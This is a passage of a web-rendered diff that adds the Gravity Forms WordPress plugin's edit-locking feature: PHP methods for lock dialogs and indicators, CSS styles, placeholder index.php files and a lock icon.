$response['gform-refresh-nonces'] = array(
|
||||
'replace' => array(
|
||||
'_wpnonce' => wp_create_nonce( 'update-object_' . $object_id ),
|
||||
),
|
||||
'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
public function get_lock_ui( $user_id ) {
|
||||
|
||||
$user = get_userdata( $user_id );
|
||||
|
||||
$locked = $user_id && $user;
|
||||
|
||||
$edit_url = $this->_edit_url;
|
||||
|
||||
$hidden = $locked ? '' : ' hidden';
|
||||
if ( $locked ) {
|
||||
|
||||
$message = '<div class="gform-locked-message">
|
||||
<div class="gform-locked-avatar">' . get_avatar( $user->ID, 64 ) . '</div>
|
||||
<p class="currently-editing" tabindex="0">' . sprintf( $this->get_string( 'currently_locked' ), $user->display_name ) . '</p>
|
||||
<p>
|
||||
|
||||
<a id="gform-take-over-button" style="display:none" class="button button-primary wp-tab-first" href="' . esc_url( add_query_arg( 'get-edit-lock', '1', $edit_url ) ) . '">' . __( 'Take Over', 'gravityforms' ) . '</a>
|
||||
<button id="gform-lock-request-button" class="button button-primary wp-tab-last">' . __( 'Request Control', 'gravityforms' ) . '</button>
|
||||
<a class="button" href="' . esc_url( $this->_redirect_url ) . '">' . $this->get_string( 'cancel' ) . '</a>
|
||||
</p>
|
||||
<div id="gform-lock-request-status">
|
||||
<!-- placeholder -->
|
||||
</div>
|
||||
</div>';
|
||||
|
||||
} else {
|
||||
|
||||
$message = '<div class="gform-taken-over">
|
||||
<div class="gform-locked-avatar"></div>
|
||||
<p class="wp-tab-first" tabindex="0">
|
||||
<span class="currently-editing"></span><br>
|
||||
</p>
|
||||
<p>
|
||||
<a id="gform-release-lock-button" class="button button-primary wp-tab-last" href="' . esc_url( add_query_arg( 'release-edit-lock', '1', $edit_url ) ) . '">' . $this->get_string( 'accept' ) . '</a>
|
||||
<button id="gform-reject-lock-request-button" style="display:none" class="button button-primary wp-tab-last">' . __( 'Reject Request', 'gravityforms' ) . '</button>
|
||||
</p>
|
||||
</div>';
|
||||
|
||||
}
|
||||
$html = '<div id="gform-lock-dialog" class="notification-dialog-wrap' . $hidden . '">
|
||||
<div class="notification-dialog-background"></div>
|
||||
<div class="notification-dialog">';
|
||||
$html .= $message;
|
||||
|
||||
$html .= ' </div>
|
||||
</div>';
|
||||
|
||||
return $html;
|
||||
}
|
||||
|
||||
public function get_string( $string_key ) {
|
||||
$strings = $this->get_strings();
|
||||
|
||||
return rgar( $strings, $string_key );
|
||||
}
|
||||
|
||||
// helper functions for the list page
|
||||
|
||||
public function list_row_class( $object_id, $echo = true ) {
|
||||
$locked_class = $this->is_locked( $object_id ) ? 'wp-locked' : '';
|
||||
$classes = ' gf-locking ' . $locked_class;
|
||||
if ( $echo ) {
|
||||
echo $classes;
|
||||
}
|
||||
|
||||
return $classes;
|
||||
}
|
||||
|
||||
public function is_locked( $object_id ) {
|
||||
if ( ! $user_id = GFCache::get( self::PREFIX_EDIT_LOCK . $this->_object_type . '_' . $object_id ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if ( $user_id != get_current_user_id() ) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public function lock_indicator( $echo = true ) {
|
||||
|
||||
$lock_indicator = '<div class="locked-indicator"></div>';
|
||||
|
||||
if ( $echo ) {
|
||||
echo $lock_indicator;
|
||||
}
|
||||
|
||||
return $lock_indicator;
|
||||
}
|
||||
|
||||
public function lock_info( $object_id, $echo = true ) {
|
||||
$user_id = $this->check_lock( $object_id );
|
||||
|
||||
if ( ! $user_id ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
if ( $user_id && $user = get_userdata( $user_id ) ) {
|
||||
$locked_avatar = get_avatar( $user->ID, 18 );
|
||||
$locked_text = esc_html( sprintf( $this->get_string( 'currently_editing' ), $user->display_name ) );
|
||||
} else {
|
||||
$locked_avatar = $locked_text = '';
|
||||
}
|
||||
|
||||
$locked_info = '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
|
||||
|
||||
if ( $echo ) {
|
||||
echo $locked_info;
|
||||
}
|
||||
|
||||
return $locked_info;
|
||||
}
|
||||
|
||||
protected function is_page( $page_name ) {
|
||||
|
||||
return $page_name == GFForms::get_page();
|
||||
}
|
||||
|
||||
}
|
||||
2
includes/locking/css/index.php
Normal file
2
includes/locking/css/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php
|
||||
//Nothing to see here
|
||||
3
includes/locking/css/locking-list.css
Normal file
3
includes/locking/css/locking-list.css
Normal file
@@ -0,0 +1,3 @@
|
||||
tr.wp-locked .locked-indicator {
|
||||
background: url('../images/lock.png') no-repeat;
|
||||
}
|
||||
1
includes/locking/css/locking-list.min.css
vendored
Normal file
1
includes/locking/css/locking-list.min.css
vendored
Normal file
@@ -0,0 +1 @@
|
||||
tr.wp-locked .locked-indicator{background:url(../images/lock.png) no-repeat}
|
||||
20
includes/locking/css/locking.css
Normal file
20
includes/locking/css/locking.css
Normal file
@@ -0,0 +1,20 @@
|
||||
|
||||
#gform-lock-dialog .gform-locked-message,
|
||||
#gform-lock-dialog .gform-taken-over {
|
||||
margin: 25px;
|
||||
}
|
||||
|
||||
#gform-lock-dialog .gform-locked-message a.button {
|
||||
margin-right: 10px;
|
||||
}
|
||||
|
||||
#gform-lock-dialog .gform-locked-avatar {
|
||||
float: left;
|
||||
margin: 0 20px 20px 0;
|
||||
}
|
||||
|
||||
#gform-lock-dialog .wp-tab-first {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
|
||||
1
includes/locking/css/locking.min.css
vendored
Normal file
1
includes/locking/css/locking.min.css
vendored
Normal file
@@ -0,0 +1 @@
|
||||
#gform-lock-dialog .gform-locked-message,#gform-lock-dialog .gform-taken-over{margin:25px}#gform-lock-dialog .gform-locked-message a.button{margin-right:10px}#gform-lock-dialog .gform-locked-avatar{float:left;margin:0 20px 20px 0}#gform-lock-dialog .wp-tab-first{outline:0}
|
||||
2
includes/locking/images/index.php
Normal file
2
includes/locking/images/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php
|
||||
//Nothing to see here
|
||||
BIN
includes/locking/images/lock.png
Normal file
BIN
includes/locking/images/lock.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 338 B |
2
includes/locking/index.php
Normal file
2
includes/locking/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php
|
||||
//Nothing to see here
|
||||
2
includes/locking/js/index.php
Normal file
2
includes/locking/js/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php
|
||||
//Nothing to see here
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user